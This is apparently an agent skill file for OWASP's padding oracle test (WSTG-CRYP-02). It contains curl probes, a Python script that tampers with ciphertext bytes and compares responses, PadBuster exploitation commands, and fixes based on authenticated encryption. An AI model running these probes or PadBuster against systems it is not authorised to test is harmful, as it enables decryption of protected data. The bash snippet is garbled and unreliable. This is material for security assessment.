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基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-cryp-02 |
| description | Testing for Padding Oracle |
| category | cryptography |
| owasp_id | WSTG-CRYP-02 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["cryptography","tls","ssl","encryption","wstg","cryp"] |
| tech_stack | ["tls","ssl"] |
| cwe_ids | ["CWE-326"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CRYP-02
Testing for Padding Oracle
A padding oracle attack exploits the information leaked when a system reveals whether decrypted data has valid padding. This occurs with block ciphers in CBC mode when the application returns different error messages or behaviors for valid versus invalid padding. Attackers can use this to decrypt ciphertext without knowing the key.
# Look for encrypted parameters
# - Cookies with Base64-like values
# - URL parameters with encrypted data
# - Hidden form fields
# - ViewState (ASP.NET)
# Check cookie values
curl -sI "https://target.com" | grep -i "set-cookie"
# ASP.NET WebResource/ScriptResource (common padding oracle target)
curl -s "https://target.com/WebResource.axd?d=ENCRYPTED_DATA"
curl -s "https://target.com/ScriptResource.axd?d=ENCRYPTED_DATA"
#!/bin/bash
TARGET="https://target.com"
PARAM="encrypted_value"
# Original valid value
original="VALID_ENCRYPTED_BASE64"
# Modify last byte to test padding
modified=$(echo "$original" | base64 -d | -c -1 | - <( ) | )
curl -s | -5
-e
curl -s | -5
#!/usr/bin/env python3
import requests
import base64
import time
class PaddingOracleTester:
def __init__(self, base_url, param_name):
self.base_url = base_url
self.param_name = param_name
self.findings = []
def test_padding_oracle(self, encrypted_value):
"""Test for padding oracle vulnerability"""
print(f"[*] Testing for padding oracle...")
try:
# Decode the encrypted value
ciphertext = base64.b64decode(encrypted_value)
if len(ciphertext) % 16 != 0:
print("[INFO] Ciphertext length not multiple of 16 (not AES)")
# Test original value
original_response = self._make_request(encrypted_value)
original_time = original_response['time']
original_status = original_response['status']
print(f"Original: Status={original_status}, Time={original_time:.3f}s")
# Modify last byte of each block
results = []
for i in range(256):
modified = bytearray(ciphertext)
modified[-1] = i
modified_b64 = base64.b64encode(bytes(modified)).decode()
response = self._make_request(modified_b64)
results.append({
'byte': i,
'status': response['status'],
'time': response['time'],
'length': response['length']
})
# Analyze results for oracle
self._analyze_results(results)
except Exception as e:
print(f"[ERROR] {e}")
def _make_request(self, value):
"""Make request and measure response"""
start = time.time()
try:
response = requests.get(
self.base_url,
params={self.param_name: value},
timeout=10
)
elapsed = time.time() - start
return {
'status': response.status_code,
'time': elapsed,
'length': len(response.content),
'text': response.text[:100]
}
except:
return {'status': 0, 'time': time.time() - start, 'length': 0, 'text': ''}
def _analyze_results(self, results):
"""Analyze results for padding oracle indicators"""
# Check for status code differences
status_codes = set(r['status'] for r in results)
if len(status_codes) > 1:
print(f"[POTENTIAL] Different status codes: {status_codes}")
self.findings.append({
"issue": "Different status codes for padding bytes",
"severity": "High"
})
# Check for timing differences
times = [r['time'] for r in results]
avg_time = sum(times) / len(times)
max_diff = max(times) - min(times)
if max_diff > 0.5:
print(f"[POTENTIAL] Timing difference: {max_diff:.3f}s")
self.findings.append({
"issue": "Timing differences detected",
"severity": "Medium"
})
# Check for response length differences
lengths = set(r['length'] for r in results)
if len(lengths) > 2:
print(f"[POTENTIAL] Different response lengths: {len(lengths)} unique")
# Usage
tester = PaddingOracleTester(
"https://target.com/resource",
"data"
)
tester.test_padding_oracle("BASE64_ENCRYPTED_VALUE")
# PadBuster
padbuster https://target.com/decrypt?data= ENCRYPTED_VALUE 16 \
-encoding 0 \
-cookies "session=xxx"
# Test mode (non-destructive)
padbuster https://target.com/decrypt?data= ENCRYPTED_VALUE 16 \
-encoding 0 \
-noiv
| Tool | Description |
|---|---|
| PadBuster | Automated padding oracle exploitation |
| Burp Suite | Manual testing |
| Custom scripts | Timing analysis |
from cryptography.fernet import Fernet
# Fernet uses AES-128-CBC with HMAC (authenticated encryption)
key = Fernet.generate_key()
cipher = Fernet(key)
# Encrypt
encrypted = cipher.encrypt(b"secret data")
# Decrypt (will fail on tampering)
decrypted = cipher.decrypt(encrypted)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12)
# Encrypt with authentication
ciphertext = aesgcm.encrypt(nonce, b"secret data", None)
# Decrypt (authenticated)
plaintext = aesgcm.decrypt(nonce, ciphertext, None)
| Finding | CVSS | Severity |
|---|---|---|
| Padding oracle (decryption possible) | 7.5 | High |
| Different error messages for padding | 5.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-209 | Information Exposure Through Error Message |
| CWE-649 | Reliance on Obfuscation or Encryption without Integrity Checking |
[ ] Encrypted parameters identified
[ ] Response differences tested
[ ] Timing analysis performed
[ ] Error messages analyzed
[ ] ASP.NET resources checked
[ ] Findings documented